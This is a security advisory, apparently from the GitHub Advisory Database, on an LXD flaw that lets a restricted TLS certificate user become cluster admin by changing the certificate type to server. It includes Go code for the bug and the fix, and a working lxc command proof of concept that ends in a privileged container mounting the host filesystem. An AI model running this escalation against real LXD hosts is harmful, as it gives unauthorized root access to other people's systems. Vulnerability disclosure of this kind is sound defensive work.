LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

### Summary A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from `client` to `server` via PUT/PATCH to `/1.0/certificates/{fingerprint}`. The non-admin guard and reset block in `doCertificateUpdate` fail to validate or reset the `Type` field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting `ProtocolCluster` with full admin privileges. ### Details `doCertificateUpdate` in `lxd/certificates.go` handles PUT/PATCH requests to `/1.0/certificates/{fingerprint}` for both privileged and unprivileged callers. The access handler is `allowAuthenticated`, so any trusted TLS user (including restricted) can reach this code. For unprivileged callers (restricted users who fail the `EntitlementCanEdit` check at line 975), two defenses are intended to prevent field tampering: 1. The guard block validates that `Restricted`, `Name`, and `Projects` match the original database record. Does not check `Type`. ```go // Ensure the user in not trying to change fields other than the certificate. if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) { return response.Forbidden(errors.New("Only the certificate can be changed")) } ``` 2. The reset block rebuilds the `dbCert` struct using original values for `Restricted`, `Name`, and `Certificate`. Uses `reqDBType` (caller-supplied) for `Type` instead of the original `dbInfo` type. ```go // Reset dbCert in order to prevent possible future security issues. dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: reqDBType, } ``` This allows the attacker to update the `Type` field of their own certificate from `client` to `server`, bypassing the authorization controls and escalating to cluster admin. ### PoC Tested on lxd 6.7. As admin, create restricted project and restricted certificate: ```bash # Create restricted project lxc project create poc-restricted -c restricted=true lxc profile device add default root disk path=/ pool=default --project poc-restricted lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted # Add client certificate lxc config trust add --restricted --projects poc-restricted --name poc-user # pass token to user ``` As restricted user: ```bash # Add token lxc remote add target <token> # Confirm we can only see the poc-restricted project lxc project list target: # Confirm we can't unrestrict the project lxc project set target:poc-restricted restricted=false # Get own certificate fingerprint fp=$(lxc query target:/1.0/certificates | jq -r '.[0]') # Update the type of certificate to server lxc query -X PATCH -d '{ "type": "server" }' target:$fp # or # lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp # Confirm type is 'server' lxc config trust list target: # Set project to restricted=false lxc project set target:poc-restricted restricted=false # Start privileged container (and escape to root) lxc init ubuntu:24.04 target:privileged -c security.privileged=true lxc config device add target:privileged hostfs disk source=/ path=/mnt/host lxc start target:privileged ``` ### Impact Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin. Cluster admin can create privileged containers (`security.privileged=true`) or pass raw LXC config (`raw.lxc`), which provides root-level access to the host, leading to full host compromise. The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged. Affects any LXD deployment using legacy restricted TLS certificates (`/1.0/certificates` API). ## Suggested remediation 1. Add `Type` to the guard check at line 992: ```go if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) { ``` 2. Use the original type in the reset block at line 1008: ```go origDBType, err := certificate.FromAPIType(dbInfo.Type) if err != nil { return response.InternalError(err) } dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: origDBType, } ``` ### Patches | LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |

Source published

10 Apr 2026 19:20:50 UTC

Source modified

11 Aug 2026 23:55:35 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL